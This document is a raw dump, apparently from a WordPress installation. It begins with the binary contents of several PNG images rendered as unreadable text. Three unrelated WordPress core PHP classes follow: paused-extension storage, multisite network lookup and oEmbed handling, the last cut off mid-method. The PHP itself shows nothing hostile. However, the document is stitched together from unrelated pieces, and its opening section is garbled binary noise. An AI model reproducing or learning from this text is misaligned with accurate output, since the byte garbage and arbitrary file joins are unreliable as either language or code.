IHDR   .   <   .yx  PLTE궶Ը£شϴѳ綶ϼؼҨƠʣѾڱ߽ɪ·ʦժ鮮֯Π꯯񤤥컻ݾͻĩ宮ۧצo3k  (IDATx^cZF۶}h۸mޝ	3szO]OZt;";ۻggc'@qg<x h0Q0  #@i'X2%B' 'X'\~R/ o5@8s8}2\X4}ol!C~[s/vg'p{3̯<?g8ݗsfA_GALՌ)M;c,a
8d7Rt}-`6ǹdy6= 7Oi6ӟbHBd񇕂SOjAӏiq[C<	bz;u|U.5g|lu=1b{T7jD|AF<d~żx7ߝI~L>C^}%}S=8r	[qjQO0FGS|ˋ/\ǵ>˽J~t}xUZS(	V; 9Us\,ćg4_"=;) +U4$Qn/܅,tW+$y20<0!DѴTNRYOVe>aVB\ܰ$+zH5{8(RkA_y =ݶ8tƹ}QԷ.70뛓V.}$tv^Δpz{Z;O&&5{Ue6oRV*{pfAO=gfZ5h] #
nӧ\>
G<8与w/Y:^j?}xGxnom-uKwNuҼ?{;@LG\7sŠiQA<nu>\i#:Gq_.OkN3t<c}G<aMga/A0Z.	hEa@F(|%-).|    IENDB`PNG

   
IHDR   .   <   .yx  PLTE̷׵F]_Ƥb٫LJαNYBԴRW?z:l.p1ϿZHʨhЮl߻yʲPZ|<r4XɦdEM~>سs۸xv7SͪiӰovTs5r+~>{;V@Cx8΁Йx2{ܷr쳓QMѱϰråiёцѮJ~6?qپr1ĥޚri*_i$Ȕt2ġ_ќơ\ͅzճyܘʅr؏׭c~ԽyˍݼoˬyZītְod ˲|м՘`ݿ۽׸sӭk|~ݷizհhѦ\ʝU{ĕMzEtKsY)مtWf2nIϿĴn%׷\ػ͚ԦĆαlć̶w޴۹ˍшǛ͢Z~vѩb}=˟gfw3ǅxcs\4rS¸nBٮҩmR  ZIDATHǍwTSW <H&%4AE%JEd%2EEQ@DDEp܊{ֽWuݽ[;ﾗ~yrhG|S]FY3L*t	S4-,L[;	>>>s4f!fftcn֋y ^@|\S&ȶzOb oKz3[ƀ`[3xl[|8@g~'98M0oj{Maھ㡀Ħy7KSUss'O[5~Oq~dNNJ6.n2JeTAk2q32-lse*Ut#B6K3k0i^.G%T{zr{]O8-diQrr|g/#NNNO?}p׷9{G<:.zjyyllelg<\cjzɎSkmi)=գ>VwtW>#2qeVb߾k'޼<L׉6:*?y
GP5JVr/h|ީϝ;j͞#\.O^9lwיuV埫|l{p?wrxh9`]ۯpp9bQH", *`ݔu^\wPxόjzyluhuhQG	ٍ###WUtFAd䡔`kk7RfW\#Yt4)ζȴćAM%5xs3bxݝOGi	JIw2iLOE			w'* ..p	Tix$8E~
?*ӧ++a8vL!#~o
y9:B|}p_Q&F\,޳כ:sv֗˅_'
H".6frܱdQXυbS\$8#33-##
d#^-~qExxxLD&=Jm.Ɖw		IOKHDg$Y$d|e{'9_JHg,$b\VV820L7.:)tܸOPBTz&!op+44ԫ6%5%bqg,XfHfp/CBko/DAͅ}l_oR),wiS݅t
ޱt{~Ep|]_wqxj!gCCò[._|ekQ AnblT"'ToxmYj-?_ݕ"(
a|>PQ~q791B%p6MTPwYa81@A_d#&B'@tt5Զu/(`pgc$Đ 9zc0"୘h	
P1
·>py66VVdN`[a(8yV66)K)p%"y\Ꟃ֖Hw9R5Fۂ
݌
Gm
1|m8"D*хgZsGMYh.Kʛs    IENDB`PNG

   
IHDR   .   <    <{  eIDATHǍݎ0q#@HB-\,M3v.4h|;3NoGa@vǯ!inb%M$ɦ..cȨ.;Dï50BG։Q;'+p.TMY;z穔|0#h֎0K|οO$10!^`^@B_`bkh%䛲P$J</2q,^_
_/YX3>iGR*R2
, c˵]ڎ쪲vdn-՛A.A@y}ǉiZ\d1*Z%7_H ^oG
R:]}jWէ͕B]8T}(s΁kvF{4\|1MOɸ'nϩ2kx<!֮{Y_y;8vk)wT 7pU/iZ޻Grޖ
3_6x(i?MEdBYXUܑnx.na_ym÷ūIwedJV]x~^MiR=ƌнPRέC<<    IENDB`PNG

   
IHDR   .   <   .yx  PLTEﶶ쵵˰șkт򜠩ө FzzzʟĠ㣦@wql̍wxyҲ醹xwvư๹~zz\΃coǳ|}zM~ȇuXv|kb`]⭻Tjٗtvt}w9y1rfCkdztnjۥǦD茻wbkգڱ^ّ۵p/;olhb*SԈeccujĸ
A]ܪ󶹶MnCvm\|j..ws܄yւuҥ񏎜H`v`8So%AqߛK~/j8  jIDATHǍTw!qH֘@ C,2+CeɨAFZĽ(uU{]7yyy/wqh~pa21R+$I@qCm|)EB.ƑB.}x)$ͥVA/uCogh/"#.gyC=	4ln$G̭{&~deBQqQQQq\L8<\},o,S\,{5u<% $H;9ӫ;TVv.au@jj"TMU(ZŎ[.u! b)*4ջªjk&3	+Ya(p~úu3g|	JOE"/нҕ777rB4mۋdƢ?]y0/G@QR3?E%AA/p<sz.gwEL1
u{[DR S .DgIZo	[
	o3Bp-w@RPJ ą^hFxwz囚ɁIdG#E|5wл4涴~ݏ?o8\֬uNO=pҗϯXy-MK>ByW߾˾8M.H?otO?,9re`5Xq0-zYԪ/~{K
zfug^;wnv`\СoGgffBprSFF\RR2+::NdV{e8toȓu;}N+Kbc]KkgvCɍz729Y_֯,L#a20 7(}zzӪOrfz& (q8X@F]zOIyyX9HqG1,4UńjIF#p9 OgǓ0lKI1-Ojo_}mܽWa1p2Ւ((??_?gP|}d:m^it1fxx{!靓㒗'o_(eqWYI.YYYƐy;Ls/)aJag>9>>#[tc ʟ^SPfP2[0܆.?}|
O8ϙzu'X4<ⶤu<"c4G\:ޒw,:#yyp~VcJňb

-D"FjH-,tc3jWad    IENDB`PNG

   
IHDR   .   <    <{  IDATx^]lUٝhw]B
(Qb@c4>BP!(!M[@E@cHT@A@o0AH#);;Yd{3t58jy"7-nvrHش@@-D6R?7ndvdѰWJb.bԔd03Pė͈F"
޺/G@D
"el&Í?K>kwrg
fx򑔐!Je`9ka5!lX^p3Y;aEm˖O%lH:ʟ+`v(gJ1uض-w^E4QWOtwp<C rsie>ÀHw")~X yIR{ea~'jF6KҼ79D_!3<o
d9&e{IMOaKMA98"{'BݝF<glRP`R2J"-0\:qhh=QE6Snɣｅh"U!E1.\է!N.?D*J@;̨if18?<J'SFaNu v^wi'g~*2ii˧2d RJ	d; `-ۀ$qƶD DWAnEn"EĊHx*'-=
SѰ[x	QQ&XԔր\ƉQci61iT*r,o׽<1NzWJmO!T֭T7CmoLWg`xZIWm;)ig%T<aKkb0"9m˧5?w;vVB᝶יkD|<lDS"\}|UW؜neC$ZۢZ5w	ӒV,f$+$4CA֞v*Ӡm
 ﭟ3$Z&ݓw|Bq$
S-/Ύv -+o
ˌh^7}~z+WYDŦW{,ok
C/ʔD+]`u~}ƽ7$ue뽮x_ m3|xwϠ
oBFKzu>.A*<C?+<9CPٙ.t/$%~!0K<Ӄx%K  {б_]r V9
"aK    IENDB`<?php
/**
 * Error Protection API: WP_Paused_Extensions_Storage class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used for storing paused extensions.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
class WP_Paused_Extensions_Storage {

	/**
	 * Type of extension. Used to key extension storage. Either 'plugin' or 'theme'.
	 *
	 * @since 5.2.0
	 * @var string
	 */
	protected $type;

	/**
	 * Constructor.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension_type Extension type. Either 'plugin' or 'theme'.
	 */
	public function __construct( $extension_type ) {
		$this->type = $extension_type;
	}

	/**
	 * Records an extension error.
	 *
	 * Only one error is stored per extension, with subsequent errors for the same extension overriding the
	 * previously stored error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @param array  $error     {
	 *     Error information returned by `error_get_last()`.
	 *
	 *     @type int    $type    The error type.
	 *     @type string $file    The name of the file in which the error occurred.
	 *     @type int    $line    The line number in which the error occurred.
	 *     @type string $message The error message.
	 * }
	 * @return bool True on success, false on failure.
	 */
	public function set( $extension, $error ) {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		// Do not update if the error is already stored.
		if ( isset( $paused_extensions[ $this->type ][ $extension ] ) && $paused_extensions[ $this->type ][ $extension ] === $error ) {
			return true;
		}

		$paused_extensions[ $this->type ][ $extension ] = $error;

		return update_option( $option_name, $paused_extensions );
	}

	/**
	 * Forgets a previously recorded extension error.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $extension ) {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		// Do not delete if no error is stored.
		if ( ! isset( $paused_extensions[ $this->type ][ $extension ] ) ) {
			return true;
		}

		unset( $paused_extensions[ $this->type ][ $extension ] );

		if ( empty( $paused_extensions[ $this->type ] ) ) {
			unset( $paused_extensions[ $this->type ] );
		}

		// Clean up the entire option if we're removing the only error.
		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions );
	}

	/**
	 * Gets the error for an extension, if paused.
	 *
	 * @since 5.2.0
	 *
	 * @param string $extension Plugin or theme directory name.
	 * @return array|null Error that is stored, or null if the extension is not paused.
	 */
	public function get( $extension ) {
		if ( ! $this->is_api_loaded() ) {
			return null;
		}

		$paused_extensions = $this->get_all();

		if ( ! isset( $paused_extensions[ $extension ] ) ) {
			return null;
		}

		return $paused_extensions[ $extension ];
	}

	/**
	 * Gets the paused extensions with their errors.
	 *
	 * @since 5.2.0
	 *
	 * @return array {
	 *     Associative array of errors keyed by extension slug.
	 *
	 *     @type array ...$0 Error information returned by `error_get_last()`.
	 * }
	 */
	public function get_all() {
		if ( ! $this->is_api_loaded() ) {
			return array();
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return array();
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		return isset( $paused_extensions[ $this->type ] ) ? $paused_extensions[ $this->type ] : array();
	}

	/**
	 * Remove all paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return bool
	 */
	public function delete_all() {
		if ( ! $this->is_api_loaded() ) {
			return false;
		}

		$option_name = $this->get_option_name();

		if ( ! $option_name ) {
			return false;
		}

		$paused_extensions = (array) get_option( $option_name, array() );

		unset( $paused_extensions[ $this->type ] );

		if ( ! $paused_extensions ) {
			return delete_option( $option_name );
		}

		return update_option( $option_name, $paused_extensions );
	}

	/**
	 * Checks whether the underlying API to store paused extensions is loaded.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True if the API is loaded, false otherwise.
	 */
	protected function is_api_loaded() {
		return function_exists( 'get_option' );
	}

	/**
	 * Get the option name for storing paused extensions.
	 *
	 * @since 5.2.0
	 *
	 * @return string
	 */
	protected function get_option_name() {
		if ( ! wp_recovery_mode()->is_active() ) {
			return '';
		}

		$session_id = wp_recovery_mode()->get_session_id();
		if ( empty( $session_id ) ) {
			return '';
		}

		return "{$session_id}_paused_extensions";
	}
}
<?php
/**
 * Network API: WP_Network class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.4.0
 */

/**
 * Core class used for interacting with a multisite network.
 *
 * This class is used during load to populate the `$current_site` global and
 * setup the current network.
 *
 * This class is most useful in WordPress multi-network installations where the
 * ability to interact with any network of sites is required.
 *
 * @since 4.4.0
 *
 * @property int $id
 * @property int $site_id
 */
#[AllowDynamicProperties]
class WP_Network {

	/**
	 * Network ID.
	 *
	 * @since 4.4.0
	 * @since 4.6.0 Converted from public to private to explicitly enable more intuitive
	 *              access via magic methods. As part of the access change, the type was
	 *              also changed from `string` to `int`.
	 * @var int
	 */
	private $id;

	/**
	 * Domain of the network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $domain = '';

	/**
	 * Path of the network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $path = '';

	/**
	 * The ID of the network's main site.
	 *
	 * Named "blog" vs. "site" for legacy reasons. A main site is mapped to
	 * the network when the network is created.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	private $blog_id = '0';

	/**
	 * Domain used to set cookies for this network.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $cookie_domain = '';

	/**
	 * Name of this network.
	 *
	 * Named "site" vs. "network" for legacy reasons.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $site_name = '';

	/**
	 * Retrieves a network from the database by its ID.
	 *
	 * @since 4.4.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $network_id The ID of the network to retrieve.
	 * @return WP_Network|false The network's object if found. False if not.
	 */
	public static function get_instance( $network_id ) {
		global $wpdb;

		$network_id = (int) $network_id;
		if ( ! $network_id ) {
			return false;
		}

		$_network = wp_cache_get( $network_id, 'networks' );

		if ( false === $_network ) {
			$_network = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) );

			if ( empty( $_network ) || is_wp_error( $_network ) ) {
				$_network = -1;
			}

			wp_cache_add( $network_id, $_network, 'networks' );
		}

		if ( is_numeric( $_network ) ) {
			return false;
		}

		return new WP_Network( $_network );
	}

	/**
	 * Creates a new WP_Network object.
	 *
	 * Will populate object properties from the object provided and assign other
	 * default properties based on that information.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Network|object $network A network object.
	 */
	public function __construct( $network ) {
		foreach ( get_object_vars( $network ) as $key => $value ) {
			$this->$key = $value;
		}

		$this->_set_site_name();
		$this->_set_cookie_domain();
	}

	/**
	 * Getter.
	 *
	 * Allows current multisite naming conventions when getting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to get.
	 * @return mixed Value of the property. Null if not available.
	 */
	public function __get( $key ) {
		switch ( $key ) {
			case 'id':
				return (int) $this->id;
			case 'blog_id':
				return (string) $this->get_main_site_id();
			case 'site_id':
				return $this->get_main_site_id();
		}

		return null;
	}

	/**
	 * Isset-er.
	 *
	 * Allows current multisite naming conventions when checking for properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $key ) {
		switch ( $key ) {
			case 'id':
			case 'blog_id':
			case 'site_id':
				return true;
		}

		return false;
	}

	/**
	 * Setter.
	 *
	 * Allows current multisite naming conventions while setting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key   Property to set.
	 * @param mixed  $value Value to assign to the property.
	 */
	public function __set( $key, $value ) {
		switch ( $key ) {
			case 'id':
				$this->id = (int) $value;
				break;
			case 'blog_id':
			case 'site_id':
				$this->blog_id = (string) $value;
				break;
			default:
				$this->$key = $value;
		}
	}

	/**
	 * Returns the main site ID for the network.
	 *
	 * Internal method used by the magic getter for the 'blog_id' and 'site_id'
	 * properties.
	 *
	 * @since 4.9.0
	 *
	 * @return int The ID of the main site.
	 */
	private function get_main_site_id() {
		/**
		 * Filters the main site ID.
		 *
		 * Returning a positive integer will effectively short-circuit the function.
		 *
		 * @since 4.9.0
		 *
		 * @param int|null   $main_site_id If a positive integer is returned, it is interpreted as the main site ID.
		 * @param WP_Network $network      The network object for which the main site was detected.
		 */
		$main_site_id = (int) apply_filters( 'pre_get_main_site_id', null, $this );

		if ( 0 < $main_site_id ) {
			return $main_site_id;
		}

		if ( 0 < (int) $this->blog_id ) {
			return (int) $this->blog_id;
		}

		if ( ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' )
			&& DOMAIN_CURRENT_SITE === $this->domain && PATH_CURRENT_SITE === $this->path )
			|| ( defined( 'SITE_ID_CURRENT_SITE' ) && (int) SITE_ID_CURRENT_SITE === $this->id )
		) {
			if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) {
				$this->blog_id = (string) BLOG_ID_CURRENT_SITE;

				return (int) $this->blog_id;
			}

			if ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated.
				$this->blog_id = (string) BLOGID_CURRENT_SITE;

				return (int) $this->blog_id;
			}
		}

		$site = get_site();
		if ( $site->domain === $this->domain && $site->path === $this->path ) {
			$main_site_id = (int) $site->id;
		} else {

			$main_site_id = get_network_option( $this->id, 'main_site' );
			if ( false === $main_site_id ) {
				$_sites       = get_sites(
					array(
						'fields'     => 'ids',
						'number'     => 1,
						'domain'     => $this->domain,
						'path'       => $this->path,
						'network_id' => $this->id,
					)
				);
				$main_site_id = ! empty( $_sites ) ? array_shift( $_sites ) : 0;

				update_network_option( $this->id, 'main_site', $main_site_id );
			}
		}

		$this->blog_id = (string) $main_site_id;

		return (int) $this->blog_id;
	}

	/**
	 * Sets the site name assigned to the network if one has not been populated.
	 *
	 * @since 4.4.0
	 */
	private function _set_site_name() {
		if ( ! empty( $this->site_name ) ) {
			return;
		}

		$default         = ucfirst( $this->domain );
		$this->site_name = get_network_option( $this->id, 'site_name', $default );
	}

	/**
	 * Sets the cookie domain based on the network domain if one has
	 * not been populated.
	 *
	 * @todo What if the domain of the network doesn't match the current site?
	 *
	 * @since 4.4.0
	 */
	private function _set_cookie_domain() {
		if ( ! empty( $this->cookie_domain ) ) {
			return;
		}

		$this->cookie_domain = $this->domain;
		if ( str_starts_with( $this->cookie_domain, 'www.' ) ) {
			$this->cookie_domain = substr( $this->cookie_domain, 4 );
		}
	}

	/**
	 * Retrieves the closest matching network for a domain and path.
	 *
	 * This will not necessarily return an exact match for a domain and path. Instead, it
	 * breaks the domain and path into pieces that are then used to match the closest
	 * possibility from a query.
	 *
	 * The intent of this method is to match a network during bootstrap for a
	 * requested site address.
	 *
	 * @since 4.4.0
	 *
	 * @param string   $domain   Domain to check.
	 * @param string   $path     Path to check.
	 * @param int|null $segments Path segments to use. Defaults to null, or the full path.
	 * @return WP_Network|false Network object if successful. False when no network is found.
	 */
	public static function get_by_path( $domain = '', $path = '', $segments = null ) {
		$domains = array( $domain );
		$pieces  = explode( '.', $domain );

		/*
		 * It's possible one domain to search is 'com', but it might as well
		 * be 'localhost' or some other locally mapped domain.
		 */
		while ( array_shift( $pieces ) ) {
			if ( ! empty( $pieces ) ) {
				$domains[] = implode( '.', $pieces );
			}
		}

		/*
		 * If we've gotten to this function during normal execution, there is
		 * more than one network installed. At this point, who knows how many
		 * we have. Attempt to optimize for the situation where networks are
		 * only domains, thus meaning paths never need to be considered.
		 *
		 * This is a very basic optimization; anything further could have
		 * drawbacks depending on the setup, so this is best done per-installation.
		 */
		$using_paths = true;
		if ( wp_using_ext_object_cache() ) {
			$using_paths = get_networks(
				array(
					'number'       => 1,
					'count'        => true,
					'path__not_in' => '/',
				)
			);
		}

		$paths = array();
		if ( $using_paths ) {
			$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );

			/**
			 * Filters the number of path segments to consider when searching for a site.
			 *
			 * @since 3.9.0
			 *
			 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
			 *                           one path segment. The function default of null only makes sense when you
			 *                           know the requested path should match a network.
			 * @param string   $domain   The requested domain.
			 * @param string   $path     The requested path, in full.
			 */
			$segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path );

			if ( ( null !== $segments ) && count( $path_segments ) > $segments ) {
				$path_segments = array_slice( $path_segments, 0, $segments );
			}

			while ( count( $path_segments ) ) {
				$paths[] = '/' . implode( '/', $path_segments ) . '/';
				array_pop( $path_segments );
			}

			$paths[] = '/';
		}

		/**
		 * Determines a network by its domain and path.
		 *
		 * This allows one to short-circuit the default logic, perhaps by
		 * replacing it with a routine that is more optimal for your setup.
		 *
		 * Return null to avoid the short-circuit. Return false if no network
		 * can be found at the requested domain and path. Otherwise, return
		 * an object from wp_get_network().
		 *
		 * @since 3.9.0
		 *
		 * @param null|false|WP_Network $network  Network value to return by path. Default null
		 *                                        to continue retrieving the network.
		 * @param string                $domain   The requested domain.
		 * @param string                $path     The requested path, in full.
		 * @param int|null              $segments The suggested number of paths to consult.
		 *                                        Default null, meaning the entire path was to be consulted.
		 * @param string[]              $paths    Array of paths to search for, based on `$path` and `$segments`.
		 */
		$pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths );
		if ( null !== $pre ) {
			return $pre;
		}

		if ( ! $using_paths ) {
			$networks = get_networks(
				array(
					'number'     => 1,
					'orderby'    => array(
						'domain_length' => 'DESC',
					),
					'domain__in' => $domains,
				)
			);

			if ( ! empty( $networks ) ) {
				return array_shift( $networks );
			}

			return false;
		}

		$networks = get_networks(
			array(
				'orderby'    => array(
					'domain_length' => 'DESC',
					'path_length'   => 'DESC',
				),
				'domain__in' => $domains,
				'path__in'   => $paths,
			)
		);

		/*
		 * Domains are sorted by length of domain, then by length of path.
		 * The domain must match for the path to be considered. Otherwise,
		 * a network with the path of / will suffice.
		 */
		$found = false;
		foreach ( $networks as $network ) {
			if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) {
				if ( in_array( $network->path, $paths, true ) ) {
					$found = true;
					break;
				}
			}
			if ( '/' === $network->path ) {
				$found = true;
				break;
			}
		}

		if ( true === $found ) {
			return $network;
		}

		return false;
	}
}
<?php
/**
 * API for easily embedding rich media such as videos and images into content.
 *
 * @package WordPress
 * @subpackage Embed
 * @since 2.9.0
 */
#[AllowDynamicProperties]
class WP_Embed {
	public $handlers = array();
	public $post_ID;
	public $usecache      = true;
	public $linkifunknown = true;
	public $last_attr     = array();
	public $last_url      = '';

	/**
	 * When a URL cannot be embedded, return false instead of returning a link
	 * or the URL.
	 *
	 * Bypasses the {@see 'embed_maybe_make_link'} filter.
	 *
	 * @var bool
	 */
	public $return_false_on_fail = false;

	/**
	 * Constructor
	 */
	public function __construct() {
		// Hack to get the [embed] shortcode to run before wpautop().
		add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 );
		add_filter( 'widget_text_content', array( $this, 'run_shortcode' ), 8 );
		add_filter( 'widget_block_content', array( $this, 'run_shortcode' ), 8 );

		// Shortcode placeholder for strip_shortcodes().
		add_shortcode( 'embed', '__return_false' );

		// Attempts to embed all URLs in a post.
		add_filter( 'the_content', array( $this, 'autoembed' ), 8 );
		add_filter( 'widget_text_content', array( $this, 'autoembed' ), 8 );
		add_filter( 'widget_block_content', array( $this, 'autoembed' ), 8 );

		// After a post is saved, cache oEmbed items via Ajax.
		add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) );
		add_action( 'edit_page_form', array( $this, 'maybe_run_ajax_cache' ) );
	}

	/**
	 * Processes the [embed] shortcode.
	 *
	 * Since the [embed] shortcode needs to be run earlier than other shortcodes,
	 * this function removes all existing shortcodes, registers the [embed] shortcode,
	 * calls do_shortcode(), and then re-registers the old shortcodes.
	 *
	 * @global array $shortcode_tags
	 *
	 * @param string $content Content to parse.
	 * @return string Content with shortcode parsed.
	 */
	public function run_shortcode( $content ) {
		global $shortcode_tags;

		// Back up current registered shortcodes and clear them all out.
		$orig_shortcode_tags = $shortcode_tags;
		remove_all_shortcodes();

		add_shortcode( 'embed', array( $this, 'shortcode' ) );

		// Do the shortcode (only the [embed] one is registered).
		$content = do_shortcode( $content, true );

		// Put the original shortcodes back.
		$shortcode_tags = $orig_shortcode_tags;

		return $content;
	}

	/**
	 * If a post/page was saved, then output JavaScript to make
	 * an Ajax request that will call WP_Embed::cache_oembed().
	 */
	public function maybe_run_ajax_cache() {
		$post = get_post();

		if ( ! $post || empty( $_GET['message'] ) ) {
			return;
		}
		?>
<script type="text/javascript">
	jQuery( function($) {
		$.get("<?php echo esc_url( admin_url( 'admin-ajax.php', 'relative' ) ) . '?action=oembed-cache&post=' . $post->ID; ?>");
	} );
</script>
		<?php
	}

	/**
	 * Registers an embed handler.
	 *
	 * Do not use this function directly, use wp_embed_register_handler() instead.
	 *
	 * This function should probably also only be used for sites that do not support oEmbed.
	 *
	 * @param string   $id       An internal ID/name for the handler. Needs to be unique.
	 * @param string   $regex    The regex that will be used to see if this handler should be used for a URL.
	 * @param callable $callback The callback function that will be called if the regex is matched.
	 * @param int      $priority Optional. Used to specify the order in which the registered handlers will be tested.
	 *                           Lower numbers correspond with earlier testing, and handlers with the same priority are
	 *                           tested in the order in which they were added to the action. Default 10.
	 */
	public function register_handler( $id, $regex, $callback, $priority = 10 ) {
		$this->handlers[ $priority ][ $id ] = array(
			'regex'    => $regex,
			'callback' => $callback,
		);
	}

	/**
	 * Unregisters a previously-registered embed handler.
	 *
	 * Do not use this function directly, use wp_embed_unregister_handler() instead.
	 *
	 * @param string $id       The handler ID that should be removed.
	 * @param int    $priority Optional. The priority of the handler to be removed (default: 10).
	 */
	public function unregister_handler( $id, $priority = 10 ) {
		unset( $this->handlers[ $priority ][ $id ] );
	}

	/**
	 * Returns embed HTML for a given URL from embed handlers.
	 *
	 * Attempts to convert a URL into embed HTML by checking the URL
	 * against the regex of the registered embed handlers.
	 *
	 * @since 5.5.0
	 *
	 * @param array  $attr {
	 *     Shortcode attributes. Optional.
	 *
	 *     @type int $width  Width of the embed in pixels.
	 *     @type int $height Height of the embed in pixels.
	 * }
	 * @param string $url The URL attempting to be embedded.
	 * @return string|false The embed HTML on success, false otherwise.
	 */
	public function get_embed_handler_html( $attr, $url ) {
		$rawattr = $attr;
		$attr    = wp_parse_args( $attr, wp_embed_defaults( $url ) );

		ksort( $this->handlers );
		foreach ( $this->handlers as $priority => $handlers ) {
			foreach ( $handlers as $id => $handler ) {
				if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) {
					$return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr );
					if ( false !== $return ) {
						/**
						 * Filters the returned embed HTML.
						 *
						 * @since 2.9.0
						 *
						 * @see WP_Embed::shortcode()
						 *
						 * @param string|false $return The HTML result of the shortcode, or false on failure.
						 * @param string       $url    The embed URL.
						 * @param array        $attr   An array of shortcode attributes.
						 */
						return apply_filters( 'embed_handler_html', $return, $url, $attr );
					}
				}
			}
		}

		return false;
	}

	/**
	 * The do_shortcode() callback function.
	 *
	 * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of
	 * the registered embed handlers. If none of the regex matches and it's enabled, then the URL
	 * will be given to the WP_oEmbed class.
	 *
	 * @param array  $attr {
	 *     Shortcode attributes. Optional.
	 *
	 *     @type int $width  Width of the embed in pixels.
	 *     @type int $height Height of the embed in pixels.
	 * }
	 * @param string $url The URL attempting to be embedded.
	 * @return string|false The embed HTML on success, otherwise the original URL.
	 *                      `->maybe_make_link()` can return false on failure.
	 */
	public function shortcode( $attr, $url = '' ) {
		$post = get_post();

		if ( empty( $url ) && ! empty( $attr['src'] ) ) {
			$url = $attr['src'];
		}

		$this->last_url = $url;

		if ( empty( $url ) ) {
			$this->last_attr = $attr;
			return '';
		}

		$rawattr = $attr;
		$attr    = wp_parse_args( $attr, wp_embed_defaults( $url ) );

		$this->last_attr = $attr;

		/*
		 * KSES converts & into &amp; and we need to undo this.
		 * See https://core.trac.wordpress.org/ticket/11311
		 */
		$url = str_replace( '&amp;', '&', $url );

		// Look for known internal handlers.
		$embed_handler_html = $this->get_embed_handler_html( $rawattr, $url );
		if ( false !== $embed_handler_html ) {
			return $embed_handler_html;
		}

		$post_id = ( ! empty( $post->ID ) ) ? $post->ID : null;

		// Potentially set by WP_Embed::cache_oembed().
		if ( ! empty( $this->post_ID ) ) {
			$post_id = $this->post_ID;
		}

		// Check for a cached result (stored as custom post or in the post meta).
		$key_suffix    = md5( $url . serialize( $attr ) );
		$cachekey      = '_oembed_' . $key_suffix;
		$cachekey_time = '_oembed_time_' . $key_suffix;

		/**
		 * Filters the oEmbed TTL value (time to live).
		 *
		 * @since 4.0.0
		 *
		 * @param int    $time    Time to live (in seconds).
		 * @param string $url     The attempted embed URL.
		 * @param array  $attr    An array of shortcode attributes.
		 * @param int    $post_id Post ID.
		 */
		$ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_id );

		$cache      = '';
		$cache_time = 0;

		$cached_post_id = $this->find_oembed_post_id( $key_suffix );

		if ( $post_id ) {
			$cache      = get_post_meta( $post_id, $cachekey, true );
			$cache_time = get_post_meta( $post_id, $cachekey_time, true );

			if ( ! $cache_time ) {
				$cache_time = 0;
			}
		} elseif ( $cached_post_id ) {
			$cached_post = get_post( $cached_post_id );

			$cache      = $cached_post->post_content;
			$cache_time = strtotime( $cached_post->post_modified_gmt );
		}

		$cached_recently = ( time() - $cache_time ) < $ttl;

		if ( $this->usecache || $cached_recently ) {
			// Failures are cached. Serve one if we're using the cache.
			if ( '{{unknown}}' === $cache ) {
				return $this->maybe_make_link( $url );
			}

			if ( ! empty( $cache ) ) {
				/**
				 * Filters the cached oEmbed HTML.
				 *
				 * @since 2.9.0
				 *
				 * @see WP_Embed::shortcode()
				 *
				 * @param string|false $cache   The cached HTML result, stored in post meta.
				 * @param string       $url     The attempted embed URL.
				 * @param array        $attr    An array of shortcode attributes.
				 * @param int          $post_id Post ID.
				 */
				return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_id );
			}
		}

		/**
		 * Filters whether to inspect the given URL for discoverable link tags.
		 *
		 * @since 2.9.0
		 * @since 4.4.0 The default value changed to true.
		 *
		 * @see WP_oEmbed::discover()
		 *
		 * @param bool $enable Whether to enable `<link>` tag discovery. Default true.
		 */
		$attr['discover'] = apply_filters( 'embed_oembed_discover', true );

		// Use oEmbed to get the HTML.
		$html = wp_oembed_get( $url, $attr );

		if ( $post_id ) {
			if ( $html ) {
				update_post_meta( $post_id, $cachekey, $html );
				update_post_meta( $post_id, $cachekey_time, time() );
			} elseif ( ! $cache ) {
				update_post_meta( $post_id, $cachekey, '{{unknown}}' );
			}
		} else {
